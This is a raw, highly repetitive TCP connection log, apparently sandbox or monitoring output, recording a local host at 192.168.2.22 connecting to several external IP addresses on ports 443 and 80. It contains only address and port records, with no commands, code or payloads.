Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 185.199.108.133:443

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 14.194.50.211:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 14.194.50.211:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 38.240.41.28:80
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 38.240.41.28:80 -> 192.168.2.22:49162
